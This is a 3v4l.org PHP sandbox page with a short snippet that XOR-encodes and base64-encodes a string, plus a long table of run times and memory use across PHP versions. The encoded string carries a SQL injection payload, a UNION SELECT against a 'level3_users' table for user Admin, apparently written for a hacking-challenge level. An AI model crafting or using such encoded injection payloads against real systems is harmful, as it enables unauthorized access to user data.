3v4l.org

run code in 300+ PHP versions simultaneously
<?php decrypt(""); function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo(encrypt("MTI5MTY0MTczMTY5MTc0 union select 1,2,3,4,5 from level3_users where user=Admin")); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0090.00918.64
8.3.50.0110.01122.11
8.3.40.0070.01118.98
8.3.30.0160.00419.22
8.3.20.0040.00420.30
8.3.10.0080.00021.92
8.3.00.0060.00322.46
8.2.180.0140.00016.63
8.2.170.0070.00722.96
8.2.160.0110.00320.93
8.2.150.0080.00024.18
8.2.140.0050.00324.66
8.2.130.0070.00026.16
8.2.120.0060.00319.40
8.2.110.0030.00622.27
8.2.100.0090.00318.16
8.2.90.0040.00419.22
8.2.80.0000.00818.04
8.2.70.0050.00317.50
8.2.60.0000.00817.93
8.2.50.0050.00318.07
8.2.40.0030.00518.18
8.2.30.0040.00418.07
8.2.20.0040.00418.01
8.2.10.0040.00417.86
8.2.00.0000.00818.00
8.1.280.0110.00725.92
8.1.270.0040.00422.03
8.1.260.0070.00026.35
8.1.250.0030.00528.09
8.1.240.0060.00323.96
8.1.230.0110.00019.34
8.1.220.0030.00517.89
8.1.210.0000.00818.77
8.1.200.0040.00417.47
8.1.190.0000.00817.66
8.1.180.0080.00018.79
8.1.170.0040.00418.97
8.1.160.0040.00421.97
8.1.150.0060.00318.91
8.1.140.0070.00317.70
8.1.130.0080.00017.73
8.1.120.0070.00017.68
8.1.110.0040.00417.65
8.1.100.0040.00417.64
8.1.90.0000.00717.63
8.1.80.0000.00717.68
8.1.70.0070.00017.62
8.1.60.0000.00917.84
8.1.50.0040.00417.77
8.1.40.0080.00017.71
8.1.30.0060.00317.71
8.1.20.0000.00917.86
8.1.10.0040.00417.73
8.1.00.0080.00017.64
8.0.300.0000.00918.77
8.0.290.0080.00017.16
8.0.280.0000.00718.54
8.0.270.0040.00417.31
8.0.260.0000.00717.07
8.0.250.0080.00017.15
8.0.240.0000.00817.24
8.0.230.0000.00717.09
8.0.220.0030.00317.11
8.0.210.0080.00017.21
8.0.200.0030.00617.22
8.0.190.0030.00317.24
8.0.180.0040.00417.12
8.0.170.0030.00517.09
8.0.160.0000.00717.16
8.0.150.0000.00816.97
8.0.140.0000.01317.14
8.0.130.0000.00613.56
8.0.120.0080.00017.17
8.0.110.0000.00717.19
8.0.100.0000.00717.06
8.0.90.0040.00417.15
8.0.80.0100.01017.15
8.0.70.0040.00417.00
8.0.60.0000.00717.00
8.0.50.0070.00017.02
8.0.30.0120.00917.42
8.0.20.0100.01317.40
8.0.10.0050.00217.14
8.0.00.0110.00716.92
7.4.330.0020.00215.00
7.4.320.0060.00016.86
7.4.300.0030.00316.71
7.4.290.0000.00716.80
7.4.280.0030.00616.75
7.4.270.0000.00716.86
7.4.260.0070.00016.78
7.4.250.0040.00416.87
7.4.240.0030.00516.80
7.4.230.0030.00316.96
7.4.220.0060.01216.78
7.4.210.0050.01216.85
7.4.200.0070.00016.57
7.4.190.0070.00016.80
7.4.160.0030.01316.84
7.4.150.0070.01017.40
7.4.140.0160.00817.86
7.4.130.0100.00716.71
7.4.120.0050.01616.76
7.4.110.0100.00716.60
7.4.100.0000.01816.88
7.4.90.0060.01316.79
7.4.80.0110.00719.39
7.4.70.0090.00916.60
7.4.60.0030.01416.64
7.4.50.0080.00016.72
7.4.40.0000.01622.77
7.4.30.0100.00716.85
7.4.00.0080.01015.17
7.3.330.0030.00313.60
7.3.320.0070.00013.44
7.3.310.0000.00716.59
7.3.300.0070.00016.43
7.3.290.0060.00816.59
7.3.280.0090.00916.63
7.3.270.0110.00617.40
7.3.260.0090.01216.80
7.3.250.0070.01116.72
7.3.240.0070.01016.86
7.3.230.0090.00916.63
7.3.210.0120.00616.64
7.3.200.0100.00719.39
7.3.190.0150.00316.64
7.3.180.0150.00316.79
7.3.170.0100.00716.74
7.3.160.0100.00716.93
7.3.120.0060.01015.15
7.3.110.0070.01114.78
7.3.100.0110.00815.09
7.3.90.0090.00514.88
7.3.80.0080.00615.16
7.3.70.0020.01014.84
7.3.60.0040.00715.15
7.3.50.0070.00914.78
7.3.40.0070.00615.02
7.3.30.0060.00814.87
7.3.20.0100.00616.74
7.3.10.0050.00716.84
7.3.00.0100.00616.74
7.2.330.0160.00016.70
7.2.320.0090.00916.94
7.2.310.0120.00816.95
7.2.300.0060.01216.83
7.2.290.0030.01316.86
7.2.250.0060.01315.22
7.2.240.0090.00815.27
7.2.230.0070.00915.00
7.2.220.0070.01115.09
7.2.210.0040.00615.41
7.2.200.0070.01015.32
7.2.190.0070.00615.32
7.2.180.0040.00915.08
7.2.170.0050.00714.99
7.2.160.0070.00815.23
7.2.150.0050.00717.00
7.2.140.0080.00816.87
7.2.130.0060.00817.12
7.2.120.0050.00917.03
7.2.110.0070.00717.16
7.2.100.0040.00817.07
7.2.90.0080.00616.98
7.2.80.0090.00816.86
7.2.70.0070.00717.21
7.2.60.0050.00917.12
7.2.50.0040.01116.99
7.2.40.0080.00817.20
7.2.30.0070.00917.25
7.2.20.0160.00017.21
7.2.10.0030.01017.04
7.2.00.0050.00817.81
7.1.330.0030.01215.80
7.1.320.0050.00915.94
7.1.310.0030.00915.71
7.1.300.0090.00615.99
7.1.290.0080.00615.79
7.1.280.0050.00615.96
7.1.270.0030.01116.06
7.1.260.0030.00816.00
7.1.250.0020.01315.63
7.1.240.0040.01015.82
7.1.230.0050.01015.81
7.1.220.0030.00715.62
7.1.210.0050.00815.67
7.1.200.0030.00616.09
7.1.190.0050.00915.99
7.1.180.0060.00315.83
7.1.170.0050.00715.78
7.1.160.0070.00515.86
7.1.150.0070.00515.81
7.1.140.0020.01015.89
7.1.130.0050.01015.92
7.1.120.0070.00715.97
7.1.110.0100.00715.94
7.1.100.0070.01316.74
7.1.90.0070.00915.86
7.1.80.0090.00315.65
7.1.70.0060.00616.45
7.1.60.0070.01017.30
7.1.50.0040.01116.43
7.1.40.0020.01216.11
7.1.30.0040.01115.71
7.1.20.0080.00615.74
7.1.10.0050.01216.03
7.1.00.0040.03018.03
7.0.330.0070.00715.51
7.0.320.0040.01015.62
7.0.310.0030.00915.58
7.0.300.0050.00615.50
7.0.290.0040.01115.28
7.0.280.0050.00815.51
7.0.270.0040.00815.52
7.0.260.0080.00515.65
7.0.250.0100.00415.68
7.0.240.0040.01115.68
7.0.230.0060.00615.41
7.0.220.0030.01015.48
7.0.210.0100.00415.60
7.0.200.0090.00415.82
7.0.190.0070.00715.63
7.0.180.0030.00815.48
7.0.170.0050.00915.74
7.0.160.0100.00615.58
7.0.150.0030.00815.71
7.0.140.0060.02317.85
7.0.130.0050.00915.40
7.0.120.0070.00615.49
7.0.110.0070.00615.77
7.0.100.0030.01115.40
7.0.90.0060.00615.39
7.0.80.0000.01115.68
7.0.70.0050.00915.64
7.0.60.0080.02816.92
7.0.50.0040.02616.39
7.0.40.0030.03115.61
7.0.30.0150.02015.77
7.0.20.0120.02615.83
7.0.10.0150.02215.68
7.0.00.0080.01915.64
5.6.400.0030.01314.35
5.6.390.0100.00614.60
5.6.380.0090.00514.23
5.6.370.0100.00514.56
5.6.360.0070.00714.35
5.6.350.0040.01214.57
5.6.340.0100.00514.45
5.6.330.0100.00614.33
5.6.320.0050.01214.41
5.6.310.0040.01014.66
5.6.300.0020.00814.34
5.6.290.0030.01114.59
5.6.280.0020.02916.49
5.6.270.0020.00914.54
5.6.260.0080.00314.54
5.6.250.0070.00514.33
5.6.240.0090.00514.42
5.6.230.0030.00914.59
5.6.220.0050.00614.71
5.6.210.0060.02016.45
5.6.200.0050.02215.68
5.6.190.0040.03516.64
5.6.180.1020.02016.55
5.6.170.0150.02816.54
5.6.160.0070.01516.46
5.6.150.0040.03115.73
5.6.140.0040.02515.84
5.6.130.0070.01815.61
5.6.120.0040.02716.74
5.6.110.0090.01716.60
5.6.100.0110.02916.54
5.6.90.0080.01716.61
5.6.80.0060.02716.48
5.6.70.0170.02416.39
5.6.60.0050.00814.28
5.6.50.0030.00814.23
5.6.40.0090.00514.22
5.6.30.0050.00714.35
5.6.20.0010.01114.26
5.6.10.0030.00714.29
5.6.00.0050.01114.27
5.5.380.0070.00714.47
5.5.370.0050.00914.39
5.5.360.0030.00914.47
5.5.350.0040.02916.44
5.5.340.0090.03215.70
5.5.330.0040.01916.41
5.5.320.0180.02816.30
5.5.310.0130.02116.31
5.5.300.0080.01715.67
5.5.290.0060.01715.64
5.5.280.0030.03116.57
5.5.270.0060.03016.48
5.5.260.0070.02516.47
5.5.250.0100.02816.37
5.5.240.0070.01516.30
5.5.230.0050.01014.56
5.5.220.0070.00814.16
5.5.210.0020.01214.27
5.5.200.0050.00914.45
5.5.190.0010.00914.51
5.5.180.0050.00714.37
5.5.170.0080.00114.47
5.5.160.0080.00714.37
5.5.150.0020.01014.42
5.5.140.0020.01414.32
5.5.130.0040.00614.56
5.5.120.0080.00614.20
5.5.110.0090.00714.38
5.5.100.0020.01214.40
5.5.90.0040.00814.41
5.5.80.0080.00914.31
5.5.70.0030.01014.54
5.5.60.0030.00914.35
5.5.50.0030.01014.20
5.5.40.0050.00714.07
5.5.30.0060.00714.39
5.5.20.0010.01014.43
5.5.10.0030.01214.19
5.5.00.0040.00914.38
5.4.450.0170.01814.73
5.4.440.0230.02314.69
5.4.430.0070.02214.70
5.4.420.0310.02014.74
5.4.410.0020.02714.64
5.4.400.0350.00314.42
5.4.390.0330.00514.51
5.4.380.0090.02414.49
5.4.370.0170.01914.41
5.4.360.0100.02614.49
5.4.350.0070.02514.52
5.4.340.0110.01914.45
5.4.330.0050.00312.36
5.4.320.0020.02012.41
5.4.310.0040.02312.41
5.4.300.0050.01612.41
5.4.290.0040.01612.41
5.4.280.0050.01512.37
5.4.270.0060.02012.38
5.4.260.0110.02314.50
5.4.250.0060.02514.49
5.4.240.0050.02514.47
5.4.230.0070.02014.48
5.4.220.0130.02614.50
5.4.210.0090.02714.51
5.4.200.0050.02614.52
5.4.190.0060.02914.52
5.4.180.0070.02114.50
5.4.170.0060.02014.51
5.4.160.0050.02314.49
5.4.150.0060.02014.49
5.4.140.0030.02213.70
5.4.130.0060.02413.77
5.4.120.0070.01913.67
5.4.110.0050.02313.66
5.4.100.0060.02013.69
5.4.90.0050.01913.69
5.4.80.0040.02013.70
5.4.70.0060.02113.70
5.4.60.0050.02213.63
5.4.50.0050.02513.74
5.4.40.0060.02013.68
5.4.30.0050.02113.68
5.4.20.0090.01413.73
5.4.10.0030.02513.62
5.4.00.0030.02213.46
5.3.290.0060.01912.51
5.3.280.0070.01813.05
5.3.270.0040.02213.15
5.3.260.0020.02413.15
5.3.250.0080.01713.10
5.3.240.0070.02313.16
5.3.230.0080.02413.10
5.3.220.0060.02213.12
5.3.210.0040.02313.10
5.3.200.0020.02913.10
5.3.190.0010.02413.15
5.3.180.0080.02713.14
5.3.170.0080.02713.12
5.3.160.0040.02313.15
5.3.150.0050.02013.09
5.3.140.0010.02313.14
5.3.130.0030.02413.10
5.3.120.0060.02013.12
5.3.110.0090.01613.08
5.3.100.0080.02212.96
5.3.90.0070.02012.90
5.3.80.0040.02312.94
5.3.70.0050.02012.88
5.3.60.0080.02112.93
5.3.50.0080.02112.96
5.3.40.0050.02512.88
5.3.30.0030.02312.83
5.3.20.0060.01912.83
5.3.10.0040.02312.85
5.3.00.0030.02112.86
5.2.170.0000.05311.37
5.2.160.0130.04011.14
5.2.150.0030.04711.31
5.2.140.0070.06011.23
5.2.130.0100.04011.18
5.2.120.0070.03710.94
5.2.110.0000.05011.09
5.2.100.0030.04711.20
5.2.90.0030.05711.19
5.2.80.0000.04711.27
5.2.70.0030.06311.10
5.2.60.0100.03710.89
5.2.50.0100.03711.04
5.2.40.0070.03710.99
5.2.30.0070.03711.06
5.2.20.0030.04310.97
5.2.10.0030.04710.85
5.2.00.0070.05710.72
5.1.60.0030.03710.00
5.1.50.0070.03010.01
5.1.40.0030.03710.08
5.1.30.0070.03310.40
5.1.20.0100.03010.36
5.1.10.0000.04010.01
5.1.00.0100.04710.15
5.0.50.0030.0308.54
5.0.40.0000.0308.27
5.0.30.0030.0408.33
5.0.20.0070.0208.21
5.0.10.0030.0278.26
5.0.00.0130.0478.38
4.4.90.0000.0236.48
4.4.80.0030.0236.48
4.4.70.0000.0336.48
4.4.60.0030.0206.48
4.4.50.0030.0206.48
4.4.40.0030.0306.48
4.4.30.0070.0176.48
4.4.20.0030.0206.48
4.4.10.0000.0236.48
4.4.00.0070.0436.48
4.3.110.0070.0206.48
4.3.100.0030.0206.48
4.3.90.0100.0136.48
4.3.80.0070.0306.48
4.3.70.0030.0306.48
4.3.60.0030.0206.48
4.3.50.0030.0306.48
4.3.40.0070.0406.48
4.3.30.0070.0236.48
4.3.20.0000.0236.48
4.3.10.0030.0206.48
4.3.00.0130.0209.27

preferences:
61.5 ms | 400 KiB | 5 Q